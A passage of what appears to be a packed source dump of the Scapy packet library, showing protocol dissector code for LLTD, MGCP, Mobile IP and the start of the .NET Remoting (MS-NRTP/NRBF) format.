        167: \"mfSigLink\",\n            168: \"hdsl2\",\n            169: \"shdsl\",\n            170: \"ds1FDL\",\n            171: \"pos\",\n            172: \"dvbAsiIn\",\n            173: \"dvbAsiOut\",\n            174: \"plc\",\n            175: \"nfas\",\n            176: \"tr008\",\n            177: \"gr303RDT\",\n            178: \"gr303IDT\",\n            179: \"isup\",\n            180: \"propDocsWirelessMaclayer\",\n            181: \"propDocsWirelessDownstream\",\n            182: \"propDocsWirelessUpstream\",\n            183: \"hiperlan2\",\n            184: \"propBWAp2Mp\",\n            185: \"sonetOverheadChannel\",\n            186: \"digitalWrapperOverheadChannel\",\n            187: \"aal2\",\n            188: \"radioMAC\",\n            189: \"atmRadio\",\n            190: \"imt\",\n            191: \"mvl\",\n            192: \"reachDSL\",\n            193: \"frDlciEndPt\",\n            194: \"atmVciEndPt\",\n            195: \"opticalChannel\",\n            196: \"opticalTransport\",\n            197: \"propAtm\",\n            198: \"voiceOverCable\",\n            199: \"infiniband\",\n            200: \"teLink\",\n            201: \"q2931\",\n            202: \"virtualTg\",\n            203: \"sipTg\",\n            204: \"sipSig\",\n            205: \"docsCableUpstreamChannel\",\n            206: \"econet\",\n            207: \"pon155\",\n            208: \"pon622\",\n            209: \"bridge\",\n            210: \"linegroup\",\n            211: \"voiceEMFGD\",\n            212: \"voiceFGDEANA\",\n            213: \"voiceDID\",\n            214: \"mpegTransport\",\n            215: \"sixToFour\",\n            216: \"gtp\",\n            217: \"pdnEtherLoop1\",\n            218: \"pdnEtherLoop2\",\n            219: \"opticalChannelGroup\",\n            220: \"homepna\",\n            221: \"gfp\",\n            222: \"ciscoISLvlan\",\n            223: \"actelisMetaLOOP\",\n            224: \"fcipLink\",\n            225: \"rpr\",\n            226: \"qam\",\n            227: \"lmp\",\n            228: \"cblVectaStar\",\n            229: \"docsCableMCmtsDownstream\",\n            230: \"adsl2\",\n            231: \"macSecControlledIF\",\n            232: \"macSecUncontrolledIF\",\n            233: \"aviciOpticalEther\",\n            234: \"atmbond\",\n            235: \"voiceFGDOS\",\n            236: \"mocaVersion1\",\n            237: \"ieee80216WMAN\",\n            238: \"adsl2plus\",\n            239: \"dvbRcsMacLayer\",\n            240: \"dvbTdm\",\n            241: \"dvbRcsTdma\",\n            242: \"x86Laps\",\n            243: \"wwanPP\",\n            244: \"wwanPP2\",\n            245: \"voiceEBS\",\n            246: \"ifPwType\",\n            247: \"ilan\",\n            248: \"pip\",\n            249: \"aluELP\",\n            250: \"gpon\",\n            251: \"vdsl2\",\n            252: \"capwapDot11Profile\",\n            253: \"capwapDot11Bss\",\n            254: \"capwapWtpVirtualRadio\",\n            255: \"bits\",\n            256: \"docsCableUpstreamRfPort\",\n            257: \"cableDownstreamRfPort\",\n            258: \"vmwareVirtualNic\",\n            259: \"ieee802154\",\n            260: \"otnOdu\",\n            261: \"otnOtu\",\n            262: \"ifVfiType\",\n            263: \"g9981\",\n            264: \"g9982\",\n            265: \"g9983\",\n            266: \"aluEpon\",\n            267: \"aluEponOnu\",\n            268: \"aluEponPhysicalUni\",\n            269: \"aluEponLogicalLink\",\n            271: \"aluGponPhysicalUni\",\n            272: \"vmwareNicTeam\",\n            277: \"docsOfdmDownstream\",\n            278: \"docsOfdmaUpstream\",\n            279: \"gfast\",\n            280: \"sdci\",\n        }),\n    ]\n\n\n@_register_lltd_specific_class(7)\nclass LLTDAttributeIPv4Address(LLTDAttribute):\n    name = \"LLTD Attribute - IPv4 Address\"\n    fields_desc = [\n        ByteField(\"len\", 4),\n        IPField(\"ipv4\", \"0.0.0.0\"),\n    ]\n\n\n@_register_lltd_specific_class(8)\nclass LLTDAttributeIPv6Address(LLTDAttribute):\n    name = \"LLTD Attribute - IPv6 Address\"\n    fields_desc = [\n        ByteField(\"len\", 16),\n        IP6Field(\"ipv6\", \"::\"),\n    ]\n\n\n@_register_lltd_specific_class(9)\nclass LLTDAttribute80211MaxRate(LLTDAttribute):\n    name = \"LLTD Attribute - 802.11 Max Rate\"\n    fields_desc = [\n        ByteField(\"len\", 2),\n        ShortField(\"rate\", 0),\n    ]\n\n\n@_register_lltd_specific_class(10)\nclass LLTDAttributePerformanceCounterFrequency(LLTDAttribute):\n    name = \"LLTD Attribute - Performance Counter Frequency\"\n    fields_desc = [\n        ByteField(\"len\", 8),\n        LongField(\"freq\", 0),\n    ]\n\n\n@_register_lltd_specific_class(12)\nclass LLTDAttributeLinkSpeed(LLTDAttribute):\n    name = \"LLTD Attribute - Link Speed\"\n    fields_desc = [\n        ByteField(\"len\", 4),\n        IntField(\"speed\", 0),\n    ]\n\n\n@_register_lltd_specific_class(14, 24, 26)\nclass LLTDAttributeLargeTLV(LLTDAttribute):\n    name = \"LLTD Attribute - Large TLV\"\n    fields_desc = [\n        ByteField(\"len\", 0),\n    ]\n\n\n@_register_lltd_specific_class(15)\nclass LLTDAttributeMachineName(LLTDAttribute):\n    name = \"LLTD Attribute - Machine Name\"\n    fields_desc = [\n        FieldLenField(\"len\", None, length_of=\"hostname\", fmt=\"B\"),\n        StrLenFieldUtf16(\"hostname\", \"\", length_from=lambda pkt: pkt.len),\n    ]\n\n    def mysummary(self):\n        return (f\"Hostname: {self.hostname!r}\",\n                [LLTD, LLTDAttributeHostID])\n\n\n@_register_lltd_specific_class(18)\nclass LLTDAttributeDeviceUUID(LLTDAttribute):\n    name = \"LLTD Attribute - Device UUID\"\n    fields_desc = [\n        FieldLenField(\"len\", None, length_of=\"uuid\", fmt=\"B\"),\n        StrLenField(\"uuid\", b\"\\x00\" * 16, length_from=lambda pkt: pkt.len),\n    ]\n\n\n@_register_lltd_specific_class(20)\nclass LLTDAttributeQOSCharacteristics(LLTDAttribute):\n    name = \"LLTD Attribute - QoS Characteristics\"\n    fields_desc = [\n        ByteField(\"len\", 4),\n        FlagsField(\"flags\", 0, 3, \"EQP\"),\n        BitField(\"reserved1\", 0, 13),\n        ShortField(\"reserved2\", 0),\n    ]\n\n\n@_register_lltd_specific_class(21)\nclass LLTDAttribute80211PhysicalMedium(LLTDAttribute):\n    name = \"LLTD Attribute - 802.11 Physical Medium\"\n    fields_desc = [\n        ByteField(\"len\", 1),\n        ByteEnumField(\"medium\", 0, {\n            0: \"Unknown\",\n            1: \"FHSS 2.4 GHz\",\n            2: \"DSSS 2.4 GHz\",\n            3: \"IR Baseband\",\n            4: \"OFDM 5 GHz\",\n            5: \"HRDSSS\",\n            6: \"ERP\",\n        }),\n    ]\n\n\n@_register_lltd_specific_class(25)\nclass LLTDAttributeSeesList(LLTDAttribute):\n    name = \"LLTD Attribute - Sees List Working Set\"\n    fields_desc = [\n        ByteField(\"len\", 2),\n        ShortField(\"max_entries\", 0),\n    ]\n\n\nbind_layers(Ether, LLTD, type=0x88d9)\nbind_layers(LLTD, LLTDDiscover, tos=0, function=0)\nbind_layers(LLTD, LLTDDiscover, tos=1, function=0)\nbind_layers(LLTD, LLTDHello, tos=0, function=1)\nbind_layers(LLTD, LLTDHello, tos=1, function=1)\nbind_layers(LLTD, LLTDEmit, tos=0, function=2)\nbind_layers(LLTD, LLTDQueryResp, tos=0, function=7)\nbind_layers(LLTD, LLTDQueryLargeTlv, tos=0, function=11)\nbind_layers(LLTD, LLTDQueryLargeTlvResp, tos=0, function=12)\nbind_layers(LLTDHello, LLTDAttribute)\nbind_layers(LLTDAttribute, LLTDAttribute)\nbind_layers(LLTDAttribute, Padding, type=0)\nbind_layers(LLTDEmiteeDesc, Padding)\nbind_layers(LLTDRecveeDesc, Padding)\n\n\n# Utils\n########\n\nclass LargeTlvBuilder(object):\n    \"\"\"An object to build content fetched through LLTDQueryLargeTlv /\n    LLTDQueryLargeTlvResp packets.\n\n    Usable with a PacketList() object:\n    >>> p = LargeTlvBuilder()\n    >>> p.parse(rdpcap('capture_file.cap'))\n\n    Or during a network capture:\n    >>> p = LargeTlvBuilder()\n    >>> sniff(filter=\"ether proto 0x88d9\", prn=p.parse)\n\n    To get the result, use .get_data()\n\n    \"\"\"\n\n    def __init__(self):\n        self.types_offsets = {}\n        self.data = {}\n\n    def parse(self, plist):\n        \"\"\"Update the builder using the provided `plist`. `plist` can\n        be either a Packet() or a PacketList().\n\n        \"\"\"\n        if not isinstance(plist, PacketList):\n            plist = PacketList(plist)\n        for pkt in plist[LLTD]:\n            if LLTDQueryLargeTlv in pkt:\n                key = \"%s:%s:%d\" % (pkt.real_dst, pkt.real_src, pkt.seq)\n                self.types_offsets[key] = (pkt[LLTDQueryLargeTlv].type,\n                                           pkt[LLTDQueryLargeTlv].offset)\n            elif LLTDQueryLargeTlvResp in pkt:\n                try:\n                    key = \"%s:%s:%d\" % (pkt.real_src, pkt.real_dst, pkt.seq)\n                    content, offset = self.types_offsets[key]\n                except KeyError:\n                    continue\n                loc = slice(offset, offset + pkt[LLTDQueryLargeTlvResp].len)\n                key = \"%s > %s [%s]\" % (\n                    pkt.real_src, pkt.real_dst,\n                    LLTDQueryLargeTlv.fields_desc[0].i2s.get(content, content),\n                )\n                data = self.data.setdefault(key, array(\"B\"))\n                datalen = len(data)\n                if datalen < loc.stop:\n                    data.extend(array(\"B\", b\"\\x00\" * (loc.stop - datalen)))\n                data[loc] = array(\"B\", pkt[LLTDQueryLargeTlvResp].value)\n\n    def get_data(self):\n        \"\"\"Returns a dictionary object, keys are strings \"source >\n        destincation [content type]\", and values are the content\n        fetched, also as a string.\n\n        \"\"\"\n        return {key: \"\".join(chr(byte) for byte in data)\n                for key, data in self.data.items()}\n"
  },
  {
    "path": "scapy/layers/mgcp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nMGCP (Media Gateway Control Protocol)\n\n[RFC 2805]\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import StrFixedLenField, StrStopField\nfrom scapy.layers.inet import UDP\n\n\nclass MGCP(Packet):\n    name = \"MGCP\"\n    longname = \"Media Gateway Control Protocol\"\n    fields_desc = [StrStopField(\"verb\", \"AUEP\", b\" \", -1),\n                   StrFixedLenField(\"sep1\", \" \", 1),\n                   StrStopField(\"transaction_id\", \"1234567\", b\" \", -1),\n                   StrFixedLenField(\"sep2\", \" \", 1),\n                   StrStopField(\"endpoint\", \"dummy@dummy.net\", b\" \", -1),\n                   StrFixedLenField(\"sep3\", \" \", 1),\n                   StrStopField(\"version\", \"MGCP 1.0 NCS 1.0\", b\"\\x0a\", -1),\n                   StrFixedLenField(\"sep4\", b\"\\x0a\", 1),\n                   ]\n\n\n# class MGCP(Packet):\n#    name = \"MGCP\"\n#    longname = \"Media Gateway Control Protocol\"\n#    fields_desc = [ ByteEnumField(\"type\",0, [\"request\",\"response\",\"others\"]),\n#                    ByteField(\"code0\",0),\n#                    ByteField(\"code1\",0),\n#                    ByteField(\"code2\",0),\n#                    ByteField(\"code3\",0),\n#                    ByteField(\"code4\",0),\n#                    IntField(\"trasid\",0),\n#                    IntField(\"req_time\",0),\n#                    ByteField(\"is_duplicate\",0),\n#                    ByteField(\"req_available\",0) ]\n#\nbind_bottom_up(UDP, MGCP, dport=2727)\nbind_bottom_up(UDP, MGCP, sport=2727)\nbind_layers(UDP, MGCP, sport=2727, dport=2727)\n"
  },
  {
    "path": "scapy/layers/mobileip.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nMobile IP.\n\"\"\"\n\nfrom scapy.fields import ByteEnumField, ByteField, IPField, LongField, \\\n    ShortField, XByteField\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.layers.inet import IP, UDP\n\n\nclass MobileIP(Packet):\n    name = \"Mobile IP (RFC3344)\"\n    fields_desc = [ByteEnumField(\"type\", 1, {1: \"RRQ\", 3: \"RRP\"})]\n\n\nclass MobileIPRRQ(Packet):\n    name = \"Mobile IP Registration Request (RFC3344)\"\n    fields_desc = [XByteField(\"flags\", 0),\n                   ShortField(\"lifetime\", 180),\n                   IPField(\"homeaddr\", \"0.0.0.0\"),\n                   IPField(\"haaddr\", \"0.0.0.0\"),\n                   IPField(\"coaddr\", \"0.0.0.0\"),\n                   LongField(\"id\", 0), ]\n\n\nclass MobileIPRRP(Packet):\n    name = \"Mobile IP Registration Reply (RFC3344)\"\n    fields_desc = [ByteField(\"code\", 0),\n                   ShortField(\"lifetime\", 180),\n                   IPField(\"homeaddr\", \"0.0.0.0\"),\n                   IPField(\"haaddr\", \"0.0.0.0\"),\n                   LongField(\"id\", 0), ]\n\n\nclass MobileIPTunnelData(Packet):\n    name = \"Mobile IP Tunnel Data Message (RFC3519)\"\n    fields_desc = [ByteField(\"nexthdr\", 4),\n                   ShortField(\"res\", 0)]\n\n\nbind_bottom_up(UDP, MobileIP, dport=434)\nbind_bottom_up(UDP, MobileIP, sport=434)\nbind_layers(UDP, MobileIP, sport=434, dport=434)\nbind_layers(MobileIP, MobileIPRRQ, type=1)\nbind_layers(MobileIP, MobileIPRRP, type=3)\nbind_layers(MobileIP, MobileIPTunnelData, type=4)\nbind_layers(MobileIPTunnelData, IP, nexthdr=4)\n"
  },
  {
    "path": "scapy/layers/ms_nrtp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n.NET RemoTing Protocol\n\nThis implements:\n- [MS-NRTP] - .NET Remoting Core Protocol\n- [MS-NRBF] - .NET Remoting Binary Format\n\"\"\"\n\nimport enum\nimport functools\nimport struct\n\nfrom scapy.automaton import Automaton, ATMT\nfrom scapy.config import conf\nfrom scapy.main import interact\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    LEIntField,\n    LELongField,\n    LEShortEnumField,\n    LEShortField,\n    LESignedIntField,\n    LESignedLongField,\n    LESignedShortField,\n    LenField,\n    MSBExtendedField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    SignedByteField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n    StrLenFieldUtf16,\n)\nfrom scapy.packet import Packet\nfrom scapy.supersocket import StreamSocket\n\n\n# [MS-NRTP] sect 2.2.3.2.1\n\n\nclass CountedString(Packet):\n    fields_desc = [\n        ByteEnumField(\n            \"StringEncoding\",\n            0,\n            {\n                0: \"Unicode\",\n                1: \"UTF8\",\n            },\n        ),\n        FieldLenField(\"Length\", None, fmt=\"<I\", count_of=\"StringData\"),\n        MultipleTypeField(\n            [\n                (\n                    StrLenFieldUtf16(\n                        \"StringData\", \"\", length_from=lambda pkt: pkt.Length\n                    ),\n                    lambda pkt: pkt.StringEncoding == 0,\n                ),\n                (\n                    StrLenField(\"StringData\", \"\", length_from=lambda pkt: pkt.Length),\n                    lambda pkt: pkt.StringEncoding == 1,\n                ),\n            ],\n            StrLenField(\"StringData\", \"\", length_from=lambda pkt: pkt.Length),\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nCountedStringField = lambda name: PacketField(name, CountedString(), CountedString)\n\n# [MS-NRTP] sect 2.2.3.1.4\n\nNRTP_HeaderDataFormat = {\n    0: \"Void\",\n    1: \"CountedString\",\n    2: \"Byte\",\n    3: \"Uint16\",\n    4: \"Int32\",\n}\n\n# [MS-NRTP] sect 2.2.3.3.3.1\n\n\nclass NRTPHeader(Packet):\n    fields_desc = [\n        LEShortEnumField(\n            \"HeaderToken\",\n            0,\n            {\n                0: \"End\",\n                1: \"Custom\",\n                2: \"StatusCode\",\n                3: \"StatusPhrase\",\n                4: \"RequestUri\",\n                5: \"CloseConnection\",\n                6: \"ContentType\",\n            },\n        ),\n    ]\n\n    registered_headers = {}\n\n    @classmethod\n    def register_variant(cls, id=None):\n        cls.registered_headers[cls.HeaderToken.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            return cls.registered_headers.get(\n                struct.unpack(\"<H\", _pkt[:2])[0], NRTPUnknownHeader\n            )\n        return cls\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-NRTP] sect 2.2.3.3.3.1\n\n\nclass NRTPEndHeader(NRTPHeader):\n    HeaderToken = 0\n    fields_desc = [\n        NRTPHeader,\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.3.2\n\n\nclass NRTPCustomHeader(NRTPHeader):\n    HeaderToken = 1\n    fields_desc = [\n        NRTPHeader,\n        CountedStringField(\"HeaderName\"),\n        CountedStringField(\"HeaderValue\"),\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.3.3\n\n\nclass NRTPStatusCodeHeader(NRTPHeader):\n    HeaderToken = 2\n    fields_desc = [\n        NRTPHeader,\n        ByteEnumField(\"DataType\", 3, NRTP_HeaderDataFormat),\n        LEShortField(\"StatusCodeValue\", 0),\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.3.4\n\n\nclass NRTPStatusPhraseHeader(NRTPHeader):\n    HeaderToken = 3\n    fields_desc = [\n        NRTPHeader,\n        ByteEnumField(\"DataType\", 1, NRTP_HeaderDataFormat),\n        CountedStringField(\"StatusPhraseValue\"),\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.3.5\n\n\nclass NRTPRequestUriHeader(NRTPHeader):\n    HeaderToken = 4\n    fields_desc = [\n        NRTPHeader,\n        ByteEnumField(\"DataType\", 1, NRTP_HeaderDataFormat),\n        CountedStringField(\"UriValue\"),\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.3.6\n\n\nclass NRTPCloseConnectionHeader(NRTPHeader):\n    HeaderToken = 5\n    fields_desc = [\n        NRTPHeader,\n        ByteEnumField(\"DataType\", 0, NRTP_HeaderDataFormat),\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.3.7\n\n\nclass NRTPContentTypeHeader(NRTPHeader):\n    HeaderToken = 6\n    fields_desc = [\n        NRTPHeader,\n        ByteEnumField(\"DataType\", 1, NRTP_HeaderDataFormat),\n        CountedStringField(\"ContentTypeValue\"),\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.3.8\n\n\nclass NRTPUnknownHeader(NRTPHeader):\n    HeaderToken = 7\n    fields_desc = [\n        NRTPHeader,\n        ByteEnumField(\"DataType\", 0, NRTP_HeaderDataFormat),\n        MultipleTypeField(\n            [\n                (\n                    StrFixedLenField(\"DataValue\", b\"\", length=0),\n                    lambda pkt: pkt.DataType == 0,\n                ),\n                (\n                    CountedStringField(\"DataValue\"),\n                    lambda pkt: pkt.DataType == 1,\n                ),\n                (\n                    StrFixedLenField(\"DataValue\", b\"\", length=1),\n                    lambda pkt: pkt.DataType == 2,\n                ),\n                (\n                    LEShortField(\"DataValue\", 0),\n                    lambda pkt: pkt.DataType == 3,\n                ),\n                (\n                    LEIntField(\"DataValue\", 0),\n                    lambda pkt: pkt.DataType == 4,\n                ),\n            ],\n            StrField(\"DataValue\", b\"\"),\n        ),\n    ]\n\n\n# [MS-NRTP] sect 2.2.3.3.1\n\n\nclass NRTPSingleMessageContent(Packet):\n    name = \"NRTP Single Message Content\"\n    fields_desc = [\n        StrFixedLenField(\"ProtocolId\", b\"\\x2e\\x4E\\x45\\x54\", 4),\n        ByteField(\"MajorVersion\", 1),\n        ByteField(\"MinorVersion\", 0),\n        LEShortEnumField(\n            \"OperationType\",\n            0,\n            {\n                0: \"Request\",\n                1: \"OneWayRequest\",\n                2: \"Reply\",\n            },\n        ),\n        LEShortEnumField(\n            \"ContentDistribution\",\n            0,\n            {\n                0: \"Not chunked\",\n                1: \"Chunked\",\n            },\n        ),\n        ConditionalField(\n            LenField(\"Length\", None, fmt=\"<I\"), lambda pkt: pkt.ContentDistribution == 0\n        ),\n        PacketListField(\n            \"Headers\",\n            [NRTPEndHeader()],\n            None,\n            next_cls_cb=lambda pkt, lst, cur, remain: (\n                None if isinstance(cur, NRTPEndHeader) else NRTPHeader\n            ),\n        ),\n    ]\n\n    @classmethod\n    def tcp_reassemble(cls, data, metadata, session):\n        if not data:\n            return None\n        # Recover Length if available\n        length = metadata.get(\"length\", None)\n        if length is None and len(data) >= 14:\n            cd = struct.unpack(\"<H\", data[8:10])[0]\n            if cd == 0:\n                # Not chunked\n                length = struct.unpack(\"<I\", data[10:14])[0]\n                metadata[\"length\"] = length\n        if length is None:\n            return cls(data)\n        # Parse only the header packet\n        pkt = cls(data, stop_dissection_after=Packet)\n        # Is it complete?\n        if pkt.payload and len(pkt.payload) >= length:\n            # Get content-type\n            try:\n                content_type = next(\n                    x.ContentTypeValue.StringData\n                    for x in pkt.Headers\n                    if x.HeaderToken == 6\n                )\n                session[\"content_type\"] = content_type\n            except StopIteration:\n                # Not in this packet. Do we know it from the session?\n                content_type = session.get(\"content_type\", None)\n                if not content_type:\n                    return pkt\n            # We have a content-type. Parse it.\n            if content_type == b\"application/octet-stream\":\n                # pkt.payload is NRBF.\n                pkt.payload = NRBF(bytes(pkt.payload))\n            return pkt\n        return None\n\n\n# [MS-NRBF] .NET Remoting Binary Format\n\n\nclass MSBExtendedFieldLen(MSBExtendedField):\n    __slots__ = FieldLenField.__slots__\n\n    def __init__(self, name, default, length_of=None):\n        FieldLenField.__init__(self, name, default, length_of=length_of)\n        super(MSBExtendedFieldLen, self).__init__(name, default)\n\n    i2m = FieldLenField.i2m\n\n\n# [MS-NRBF] sect 2.1.1.6\n\n\nclass NRBFLengthPrefixedString(Packet):\n    fields_desc = [\n        MSBExtendedFieldLen(\"Length\", None, length_of=\"String\"),\n        StrLenField(\"String\", b\"\", length_from=lambda pkt: pkt.Length),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-NRBF] sect 2.1.1.8\n\n\nclass NRBFClassTypeInfo(Packet):\n    fields_desc = [\n        PacketField(\"TypeName\", NRBFLengthPrefixedString(), NRBFLengthPrefixedString),\n        LESignedIntField(\"LibraryId\", 0),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-NRBF] sect 2.1.2.3\n\n\nclass PrimitiveTypeEnum(enum.IntEnum):\n    Boolean = 1\n    Byte = 2\n    Char = 2\n    Decimal = 5\n    Double = 6\n    Int16 = 7\n    Int32 = 8\n    Int64 = 9\n    SByte = 10\n    Single = 11\n    TimeSpan = 12\n    DateTime = 13\n    UInt16 = 14\n    UInt32 = 15\n    UInt64 = 16\n    Null = 17\n    String = 18\n\n\n# [MS-NRBF] sect 2.1.2.2\n\n\nclass BinaryTypeEnum(enum.IntEnum):\n    Primitive = 0\n    String = 1\n    Object = 2\n    SystemClass = 3\n    Class = 4\n    ObjectArray = 5\n    StringArray = 6\n    PrimitiveArray = 7\n\n\n# [MS-NRBF] sect 2.2.2.1\n\n\nclass NRBFValueWithCode(Packet):\n    fields_desc = [\n        ByteEnumField(\"PrimitiveType\", 0, PrimitiveTypeEnum),\n        MultipleTypeField(\n            [\n                (ByteField(\"Value\", 0), lambda pkt: pkt.PrimitiveType in [1, 2, 3, 4]),\n                (LESignedShortField(\"Value\", 0), lambda pkt: pkt.PrimitiveType == 7),\n                (LESignedIntField(\"Value\", 0), lambda pkt: pkt.PrimitiveType == 8),\n                (LESignedLongField(\"Value\", 0), lambda pkt: pkt.PrimitiveType == 9),\n                (SignedByteField(\"Value\", 0), lambda pkt: pkt.PrimitiveType == 10),\n                (LEShortField(\"Value\", 0), lambda pkt: pkt.PrimitiveType == 14),\n                (LEIntField(\"Value\", 0), lambda pkt: pkt.PrimitiveType == 15),\n                (LELongField(\"Value\", 0), lambda pkt: pkt.PrimitiveType == 16),\n                (\n                    PacketField(\n                        \"Value\", NRBFLengthPrefixedString(), NRBFLengthPrefixedString\n                    ),\n                    lambda pkt: pkt.PrimitiveType == 18,\n                ),\n            ],\n            StrFixedLenField(\"Value\", b\"\", length=0),\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-NRBF] sect 2.2.2.2\n\n\nclass NRBFStringValueWithCode(NRBFValueWithCode):\n    PrimitiveType = 18\n\n\nStringValueWithCode = lambda name: PacketField(\n    name, NRBFStringValueWithCode(), NRBFStringValueWithCode\n)\n\n\n# [MS-NRBF] sect 2.2.2.3\n\n\nclass NRBFArrayOfValueWithCode(Packet):\n    fields_desc = [\n        FieldLenField(\"Length\", None, fmt=\"<I\", count_of=\"ListOfValueWithCode\"),\n        PacketListField(\n            \"ListOfValueWithCode\",\n            [],\n            NRBFValueWithCode,\n            count_from=lambda pkt: pkt.Length,\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# Generic record type\n\nNRBF_RecordTypeEnumeration = {\n    0: \"SerializedStreamHeader\",\n    1: \"ClassWithId\",\n    2: \"SystemClassWithMembers\",\n    3: \"ClassWithMembers\",\n    4: \"SystemClassWithMembersAndTypes\",\n    5: \"ClassWithMembersAndTypes\",\n    6: \"BinaryObjectString\",\n    7: \"BinaryArray\",\n    8: \"MemberPrimitiveTyped\",\n    9: \"MemberReference\",\n    10: \"ObjectNull\",\n    11: \"MessageEnd\",\n    12: \"BinaryLibrary\",\n    13: \"ObjectNullMultiple256\",\n    14: \"ObjectNullMultiple\",\n    15: \"ArraySinglePrimitive\",\n    16: \"ArraySingleObject\",\n    17: \"ArraySingleString\",\n    21: \"MethodCall\",\n    22: \"MethodReturn\",\n}\n\n\nclass NRBFRecord(Packet):\n    fields_desc = [\n        ByteEnumField(\"RecordTypeEnum\", 255, NRBF_RecordTypeEnumeration),\n    ]\n\n    registered_records = {}\n\n    @classmethod\n    def register_variant(cls, id=None):\n        cls.registered_records[cls.RecordTypeEnum.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            return cls.registered_records.get(_pkt[0], NRBFRecord)\n        return cls\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# [MS-NRBF] sect 2.2.3.1\n\n_NRBF_MessageFlags = {\n    0x00000001: \"NoArgs\",\n    0x00000002: \"ArgsInline\",\n    0x00000004: \"ArgsIsArray\",\n    0x00000008: \"ArgsInArray\",\n    0x00000010: \"NoContext\",\n    0x00000020: \"ContextInline\",\n    0x00000040: \"ContextInArray\",\n    0x00000080: \"MethodSignatureInArray\",\n    0x00000100: \"PropertiesInArray\",\n    0x00000200: \"NoReturnValue\",\n    0x00000400: \"ReturnValueVoid\",\n    0x00000800: \"ReturnValueInline\",\n    0x00001000: \"ReturnValueInArray\",\n    0x00002000: \"ExceptionInArray\",\n    0x00008000: \"GenericMethod\",\n}\n\n\nclass NRBFBinaryMethodCall(NRBFRecord):\n    RecordTypeEnum = 21\n    fields_desc = [\n        NRBFRecord,\n        FlagsField(\"MessageEnum\", 0, -32, _NRBF_MessageFlags),\n        StringValueWithCode(\"MethodName\"),\n        StringValueWithCode(\"TypeName\"),\n        ConditionalField(\n            StringValueWithCode(\"CallContext\"),\n            lambda pkt: pkt.MessageEnum.ContextInline,\n        ),\n        ConditionalField(\n            PacketField(\"Args\", NRBFArrayOfValueWithCode(), NRBFArrayOfValueWithCode),\n            lambda pkt: pkt.MessageEnum.ArgsInline,\n        ),\n    ]\n\n\n# [MS-NRBF] sect 2.2.3.3\n\n\nclass NRBFBinaryMethodReturn(NRBFRecord):\n    RecordTypeEnum = 22\n    fields_desc = [\n        NRBFRecord,\n        FlagsField(\"MessageEnum\", 0, -32, _NRBF_MessageFlags),\n        ConditionalField(\n            PacketField(\"ReturnValue\", NRBFValueWithCode(), NRBFValueWithCode),\n            lambda pkt: pkt.MessageEnum.ReturnValueInline,\n        ),\n        ConditionalField(\n            StringValueWithCode(\"CallContext\"),\n            lambda pkt: pkt.MessageEnum.ContextInline,\n        ),\n        ConditionalField(\n            PacketField(\"Args\", NRBFArrayOfValueWithCode(), NRBFArrayOfValueWithCode),\n            lambda pkt: pkt.MessageEnum.ArgsInline,\n        ),\n    ]\n\n\n# [MS-NRBF] sect 2.3 - Class Records\n\n# A generic packet use for Member data\n\n\ndef _members_cb(pkt, lst, cur, remain):\n    index = len(lst) + (1 if cur is not None else 0)\n    if index >= pkt.MemberCount:\n        return None\n    if hasattr(pkt, \"BinaryTypeEnums\"):\n        if index < len(pkt.BinaryTypeEnums):\n            typeEnum = pkt.BinaryTypeEnums[index]\n            if typeEnum == BinaryTypeEnum.Primitive:\n                # Get AdditionalInfo to get the matching primitive type.\n                primitiveType = pkt.AdditionalInfos[\n                    sum(\n                        1\n                        for x in pkt.BinaryTypeEnums[:index]\n                        if x\n                        not in [\n                            BinaryTypeEnum.String,\n                            BinaryTypeEnum.Object,\n                            BinaryTypeEnum.ObjectArray,\n                            BinaryTypeEnum.StringArray,\n                        ]\n                    )\n                ].Value\n                return functools.partial(\n                    NRBFMemberPrimitiveUnTyped,\n                    primtype=PrimitiveTypeEnum(primitiveType),\n                )\n    return NRBFRecord\n\n\nclass _NRBFMembers(Packet):\n    fields_desc = [\n        PacketListField(\n            \"Members\",\n            [],\n            None,\n            next_cls_cb=_members_cb,\n        )\n    ]\n\n\n# [MS-NRBF] sect 2.3.1.1\n\n\nclass NRBFClassInfo(Packet):\n    fields_desc = [\n        LESignedIntField(\"ObjectId\", 0),\n        PacketField(\"Name\", NRBFLengthPrefixedString(), NRBFLengthPrefixedString),\n        FieldLenField(\"MemberCount\", None, fmt=\"<i\", count_of=\"MemberNames\"),\n        PacketListField(\n            \"MemberNames\",\n            [],\n            NRBFLengthPrefixedString,\n            count_from=lambda pkt: pkt.MemberCount,\n        ),\n    